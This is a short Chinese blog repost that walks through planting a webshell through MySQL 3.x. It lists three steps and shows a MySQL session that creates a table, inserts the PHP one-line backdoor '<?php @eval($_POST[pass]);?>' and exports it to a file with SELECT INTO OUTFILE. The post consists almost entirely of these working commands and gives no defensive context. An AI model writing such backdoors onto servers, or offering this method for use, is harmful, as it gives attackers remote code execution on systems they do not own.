码迷,mamicode.com
首页 > 数据库 > 详细

mysql 3.x拿webshell

时间:2015-01-26 17:27:26      阅读:202      评论:0      收藏:0      [点我收藏+]

标签:webshell   mysql   create   

mysql 3.x拿webshell

  1. 先建表 字段 

  2. 写入一句话

  3. 查询导出一句话


mysql> use mysql

Database changed

mysql> Create TABLE demo (sanr text NOT NULL);

Query OK, 0 rows affected (0.00 sec)

mysql> Insert INTO demo (sanr) VALUES(‘<?php @eval($_POST[pass]);?>‘);

Query OK, 1 row affected (0.00 sec)

mysql> select sanr from demo  into outfile ‘c:/1.txt‘;

Query OK, 1 row affected (0.03 sec)

mysql>


本文出自 “Sanr” 博客,请务必保留此出处http://0x007.blog.51cto.com/6330498/1608362

mysql 3.x拿webshell

标签:webshell   mysql   create   

原文地址:http://0x007.blog.51cto.com/6330498/1608362

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!